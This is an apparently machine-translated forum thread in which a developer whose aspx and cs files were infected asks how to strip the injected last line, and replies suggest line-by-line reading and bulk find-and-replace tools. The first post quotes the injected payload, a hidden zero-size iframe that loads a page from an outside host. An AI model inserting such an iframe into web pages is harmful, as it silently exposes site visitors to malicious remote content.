| |

VerySource

 Forgot password?
 Register
Search
View: 1396|Reply: 10

How to delete the last line of some text?

[Copy link]

1

Threads

3

Posts

4.00

Credits

Newbie

Rank: 1

Credits
4.00

 China

Post time: 2020-1-10 19:00:02
| Show all posts |Read mode
I am not familiar with FileStream etc. under System.IO. It seems that there are only Read and Write functions, and is there a function to delete a row.

The computer was poisoned yesterday, all the aspx and cs files were written to me
<iframe src = http: //wm.168080.com/wm/wm.htm width = 0 height = 0> </ iframe>
Such a line.
Reply

Use magic Report

0

Threads

60

Posts

23.00

Credits

Newbie

Rank: 1

Credits
23.00

 China

Post time: 2020-1-13 14:36:01
| Show all posts
Can complete your requirements, but is this line of code sure to be on the last line of the file
Reply

Use magic Report

0

Threads

60

Posts

23.00

Credits

Newbie

Rank: 1

Credits
23.00

 China

Post time: 2020-1-13 19:27:01
| Show all posts
You can use the READLIND () function to read data line by line. If it is the last line, it is easy. Read directly line by line. Discard the data when the last line is read. In this way, all valid data can be read out. OK, then use regular to find this line,
Reply

Use magic Report

0

Threads

322

Posts

115.00

Credits

Newbie

Rank: 1

Credits
115.00

 Chile

Post time: 2020-1-14 11:45:01
| Show all posts
Not necessarily programmatic.
Find and replace in vs.net.

Or use ue.
Reply

Use magic Report

0

Threads

322

Posts

115.00

Credits

Newbie

Rank: 1

Credits
115.00

 China

Post time: 2020-1-14 12:00:01
| Show all posts
Replace all at once.
Reply

Use magic Report

0

Threads

119

Posts

67.00

Credits

Newbie

Rank: 1

Credits
67.00

 China

Post time: 2020-1-14 13:36:02
| Show all posts
More reasonable with ready-made procedures
Reply

Use magic Report

1

Threads

3

Posts

4.00

Credits

Newbie

Rank: 1

Credits
4.00

 China

 Author| Post time: 2020-1-17 09:09:01
| Show all posts
Is there any software to achieve this function.

Not only the files in the project, but the web related files of the entire system have been added.
Reply

Use magic Report

0

Threads

73

Posts

27.00

Credits

Newbie

Rank: 1

Credits
27.00

 China

Post time: 2020-1-17 12:54:01
| Show all posts
Using FileStream's FileMode.Append mode, you should be able to append to the last line
Reply

Use magic Report

0

Threads

17

Posts

12.00

Credits

Newbie

Rank: 1

Credits
12.00

 China

Post time: 2020-1-19 22:54:02
| Show all posts
Write a drive letter traversal function with fso and replace it. I have encountered it before!
Reply

Use magic Report

0

Threads

1

Posts

2.00

Credits

Newbie

Rank: 1

Credits
2.00

 China

Post time: 2020-1-20 03:36:02
| Show all posts
The easiest way is to use Dreamweaver to set the folder where the project is located as a site, and then search and replace the entire site.
Reply

Use magic Report

You have to log in before you can reply Login | Register

Points Rules

Contact us|Archive|Mobile|CopyRight © 2008-2023|verysource.com ( 京ICP备17048824号-1 )

Quick Reply To Top Return to the list